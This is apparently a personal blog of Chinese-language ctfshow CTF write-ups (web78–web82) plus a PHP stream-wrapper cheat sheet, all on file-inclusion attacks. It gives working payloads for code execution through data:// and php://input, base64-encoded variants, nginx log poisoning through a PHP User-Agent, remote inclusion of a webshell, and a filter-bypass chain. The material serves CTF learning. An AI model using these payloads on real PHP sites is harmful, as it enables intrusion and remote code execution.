文件包含 on 波奇大王的 "Hugo Project"

ctfshow web82

Wed, 02 Sep 2026 14:03:57 +0800

ctfshow web82

题号：web82
难度：⭐~⭐⭐⭐
考点：如 SQL 注入（无回显）
日期：YYYY-MM-DD

题目描述

（题目给了什么环境、什么提示）

解题思路

（从哪步开始想的，怎么一步步走到答案）

Payload / 关键操作

（贴出关键 payload 或命令）

复现截图

（截图放这里，说明是哪一步的）

对应小迪课程章节

（如：Web攻防-命令执行，方便回头复习）

踩坑记录 / 复盘

（卡在哪了、绕了什么弯、下次遇到要注意什么）

ctfshow web81

Mon, 31 Aug 2026 19:13:27 +0800

ctfshow web81

题号：web81
难度：⭐
考点：文件包含（配合包含）
日期：2026-8-31

题目描述

除了将基本伪协议ban了，还把:给ban了，我他哥的求你了

解题思路

1.伪协议这下是真的基本都没了，就可以往其他地方去想：“日志包含”。我们一般访问对方网站的时候都会被网站日志给记录下我们的UA头。而文件包含有个特点，不论你是什么后缀的文件，只要你里面有完整的代码格式它都会去执行。因此，如果我们通过抓包在UA头里插入恶意PHP代码呢？ 2.首先就是得确认对方是什么中间件搭建的网站，我这里使用的是报错方法。 3.确认为nginx搭建的网站后，我们就可以去网上找它的日志默认路径：/var/log/nginx/access.log（这里需要知道的是日志目录是可以更改的）。找到后尝试修改自己的UA头去访问看是否会被记录 4.发现对方目录确实是会记录我们的UA头后就可以开始将UA头变成恶意代码去寻找flag了

Payload / 关键操作

1.明确方向
2.通过访问错误的文件名让对方网站报错获取网站信息
3.我这里是将UA头改成“boqidawang666”了，为了方便就不截图burp修改的图片了，相信都是会的
4.<?php system('ls'); ?>; <?php system('tac fl0g.php'); ?>

复现截图

3. 4.

对应课程章节

（如：Web攻防-命令执行，方便回头复习）

50文件包含

踩坑记录 / 复盘

无

ctfshow web80

Mon, 31 Aug 2026 18:32:29 +0800

ctfshow web80

题号：web80
难度：⭐
考点：文件包含（远程文件包含）
日期：2026-8-31

题目描述

题目直接将基本的伪协议基本全部ban掉了

解题思路

1.它将data://text/plain,伪协议ban了不代表一定是坏事，因为它ban这个其实从侧面也代表着它没有将allow_url_include给变成off，所以我们可以让其去包含我们远程的后门文件去执行即可。所以我们首先就得生成个后门，我这生成的是boqi.txt 2.生成好后将其放入对方可以访问的公网服务器上 3.然后用哥斯拉去连接后门 4.正常查看flag文件即可

Payload / 关键操作

1.正常生成后门即可
2.得放到对方能够抵达的地方
3.连接后门
4.正常查看flag文件即可

复现截图

![[Pasted image 20260831182625.png|452]] 2. 3. 4.

对应课程章节

50文件包含

踩坑记录 / 复盘

无

ctfshow web79

Sun, 30 Aug 2026 20:55:40 +0800

ctfshow web79

题号：web79
难度：⭐⭐
考点：文件包含（data配合base64编码执行命令）
日期：2026-8-30

题目描述

题目用str_replace函数将php替换成了？？？，且是遍历循环，无法双写绕过

解题思路

1.这里就得想到data://text/plain伪协议了，因为你要执行的是php命令，所以你还要配和base64进行编码绕过，所以你接下来将使用的是data://text/plain;base64,的组合技！（唯一需要注意的是：因为你是base64编码，内容中会存在%=等等符号，你输入在浏览器栏时可能会被url解码，所以你这里最好自己先进行编码一次）

Payload / 关键操作

1.?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpID8%2B
2.?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKSA%2FPg%3D%3D

复现截图

![[Pasted image 20260830205209.png|271]]![[Pasted image 20260830205226.png|258]] 2. ![[Pasted image 20260830205412.png|264]]![[Pasted image 20260830205424.png|305]]

对应课程章节

50文件包含

踩坑记录 / 复盘

1.没有想到data://text/plain,伪协议居然可以配合base64打组合技

ctfshow web78

Sun, 30 Aug 2026 20:04:39 +0800

ctfshow web78

题号：web78
难度：⭐
考点：文件包含（include文件包含的关键函数）
日期：2026-8-30

题目描述

发现题目存在include文件包含的关键函数

解题思路

1.先用data伪装协议去查看当前目录下的文件 2.然后再用data伪协议去执行查看flag.php的命令

Payload / 关键操作

1.?file=data://text/plain,<?php system('ls') ?>
2.?file=data://text/plain,<?php system('tac flag.php') ?>

复现截图

1. 2.

对应课程章节

文件包含漏洞

踩坑记录 / 复盘

无，easy

伪协议速查表（PHP）

Sat, 29 Aug 2026 10:49:12 +0800

伪协议速查表（PHP）

适用：文件包含（include/require）题、任意文件读取题记忆口诀：读文件用 filter，执行用 data/input

一、什么是伪协议（一句话原理）

PHP 的 include / file_get_contents 等函数读的不一定是磁盘文件，还可以是"协议流"（由 PHP 生成的内容）。伪协议 = 这些特殊流。

支持伪协议的函数：include / require / include_once / require_once / file_get_contents / readfile / file / fopen

关键配置：

allow_url_include=On：data:// 和 php://input 才可用（CTF 环境一般开着）
allow_url_fopen：默认 On

二、4 个必记协议

① php://filter —— 读源码（最最常用）

// 读 PHP 文件内容（base64 编码，避免被当作代码执行）
php://filter/read=convert.base64-encode/resource=flag.php

// 变体：省略 read=（等价）
php://filter/convert.base64-encode/resource=flag.php

// 变体：读文件内容原样输出（非 PHP 文件时用）
php://filter/resource=flag.txt

// 变体：多过滤器（进阶，绕过时用）
php://filter/read=convert.iconv.utf-8.utf-16/convert.base64-encode/resource=flag.php

⚠️ base64 输出里可能带 + / =，在 URL 中会被编码成 %2B %2F %3D，看到这种记得 urldecode

② data:// —— 直接执行代码

// 塞一段 PHP 代码执行（<?= 是短标签，等价 <?php echo）
data://text/plain,<?=system('tac flag.php');?>

// 普通文本（配合 include 输出文本内容）
data://text/plain,hello

③ php://input —— POST 内容当代码

// URL 里写：php://input
// POST 请求体里写：<?php system('tac flag.php');?>

④ 其它（了解即可）

php://temp / php://memory   临时/内存流
expect://命令               执行命令（需装 expect 扩展，基本遇不到）
php://filter/string.rot13   过滤器：rot13 加密（绕过过滤时用）

三、场景速查表

场景	用什么	例子
include 了 PHP 文件，想看源码	`php://filter` + base64	`?file=php://filter/read=convert.base64-encode/resource=index.php`
include 可控，想执行代码	`data://` 或 `php://input`	`?file=data://text/plain,<?=phpinfo();?>`
有文件包含但过滤了关键字	过滤器链 / 编码绕过	`convert.iconv` 链、rot13、二次编码
读非 PHP 文件（txt/json）	`php://filter/resource=` 或直接路径	`?file=flag.txt`

四、考点总结（CTF 怎么考）

经典套路：include $_GET['file'] → ?file=php://filter/read=convert.base64-encode/resource=flag.php → base64 解码拿 flag
配合过滤绕过：过滤了 ; → 用 ?> 当分号（PHP 闭合标签=隐式分号）；过滤了关键字 → 把 payload 挪到未过滤的参数（见《文件包含》案例题）
过滤器链（进阶）：convert.iconv.* 多过滤器组合可以构造任意字符，用于绕过更严格的过滤（如只能读部分字符）
php://input 需要 allow_url_include=On，题目开不了的话用 data:// 代替

五、实战案例（小迪题：分号过滤 + 伪协议）

// 源码：eval($_GET['c'])，过滤 flag|system|php|cat|sort|shell|.|echo|;
// 绕过：分号用 ?> 代替，payload 挪到未过滤的 a 参数

?c=include $_GET[a] ?>&a=php://filter/read=convert.base64-encode/resource=flag.php
// 或
?c=include $_GET[a] ?>&a=data://text/plain,<?=system('tac flag.php');?>

两层绕过：

; 被过滤 → ?> 隐式分号收尾
system/flag/php/. 被过滤 → 全部塞进未过滤的 a 参数

速查表持续补充，遇到新考法随时更新。